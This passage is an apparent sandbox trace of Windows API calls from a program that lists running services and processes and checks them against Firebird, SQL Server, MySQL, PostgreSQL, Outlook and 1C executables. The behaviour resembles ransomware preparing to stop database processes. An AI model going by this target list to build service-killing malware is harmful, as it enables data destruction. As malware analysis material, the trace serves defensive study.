lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0123.585] GetLastError () returned 0xea [0123.585] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x9a8) returned 0x8ee200 [0123.585] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8ee200, cbBufSize=0x9a8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8ee200, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0123.595] CloseServiceHandle (hSCObject=0x8b6068) returned 1 [0123.707] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0123.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0123.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0123.707] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0123.707] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0123.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0123.707] lstrlenW (lpString="AudioSrv") returned 8 [0123.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0123.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0123.707] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0123.707] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0123.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0123.707] lstrlenW (lpString="CscService") returned 10 [0123.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0123.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0123.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0123.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0123.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0123.707] lstrlenW (lpString="DcomLaunch") returned 10 [0123.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0123.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0123.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0123.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0123.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0123.707] lstrlenW (lpString="Dhcp") returned 4 [0123.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0123.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0123.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0123.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0123.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0123.707] lstrlenW (lpString="Dnscache") returned 8 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0123.708] lstrlenW (lpString="eventlog") returned 8 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0123.708] lstrlenW (lpString="EventSystem") returned 11 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0123.708] lstrlenW (lpString="gpsvc") returned 5 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0123.708] lstrlenW (lpString="lmhosts") returned 7 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0123.708] lstrlenW (lpString="MMCSS") returned 5 [0123.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0123.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0123.708] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0123.708] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0123.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0123.708] lstrlenW (lpString="nsi") returned 3 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0123.709] lstrlenW (lpString="PlugPlay") returned 8 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0123.709] lstrlenW (lpString="Power") returned 5 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0123.709] lstrlenW (lpString="ProfSvc") returned 7 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0123.709] lstrlenW (lpString="RpcEptMapper") returned 12 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0123.709] lstrlenW (lpString="RpcSs") returned 5 [0123.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0123.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0123.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0123.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0123.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0123.710] lstrlenW (lpString="SamSs") returned 5 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0123.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0123.710] lstrlenW (lpString="Schedule") returned 8 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0123.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0123.710] lstrlenW (lpString="SENS") returned 4 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0123.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0123.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0123.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0123.710] lstrlenW (lpString="Spooler") returned 7 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0123.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0123.710] lstrlenW (lpString="Themes") returned 6 [0123.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0123.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0123.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0123.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0123.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0123.711] lstrlenW (lpString="UxSms") returned 5 [0123.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0123.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0123.711] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0123.711] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0123.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0123.711] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ee200 | out: hHeap=0x880000) returned 1 [0123.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0123.713] Process32FirstW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.713] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.713] lstrlenW (lpString="System") returned 6 [0123.713] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0123.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0123.713] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.714] lstrlenW (lpString="smss.exe") returned 8 [0123.714] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0123.714] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.714] lstrlenW (lpString="csrss.exe") returned 9 [0123.714] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0123.714] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0123.714] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0123.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0123.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0123.714] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0123.714] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.715] lstrlenW (lpString="wininit.exe") returned 11 [0123.715] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0123.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0123.715] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.715] lstrlenW (lpString="csrss.exe") returned 9 [0123.715] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0123.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0123.715] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0123.715] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0123.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0123.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0123.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0123.716] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.716] lstrlenW (lpString="winlogon.exe") returned 12 [0123.716] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0123.716] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0123.716] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.716] lstrlenW (lpString="services.exe") returned 12 [0123.716] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0123.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0123.716] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0123.716] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0123.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0123.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0123.717] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0123.717] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.717] lstrlenW (lpString="lsass.exe") returned 9 [0123.717] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0123.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0123.717] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0123.717] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0123.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0123.717] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0123.717] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0123.717] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.717] lstrlenW (lpString="lsm.exe") returned 7 [0123.717] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0123.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0123.717] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0123.717] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0123.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0123.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0123.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0123.718] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.718] lstrlenW (lpString="svchost.exe") returned 11 [0123.718] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.718] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.718] lstrlenW (lpString="svchost.exe") returned 11 [0123.718] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.718] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.719] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.719] lstrlenW (lpString="svchost.exe") returned 11 [0123.719] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.719] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.719] lstrlenW (lpString="svchost.exe") returned 11 [0123.719] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.719] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.720] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.720] lstrlenW (lpString="svchost.exe") returned 11 [0123.720] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.720] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.720] lstrlenW (lpString="audiodg.exe") returned 11 [0123.720] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0123.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0123.721] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0123.721] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0123.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0123.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0123.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0123.721] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.721] lstrlenW (lpString="svchost.exe") returned 11 [0123.721] 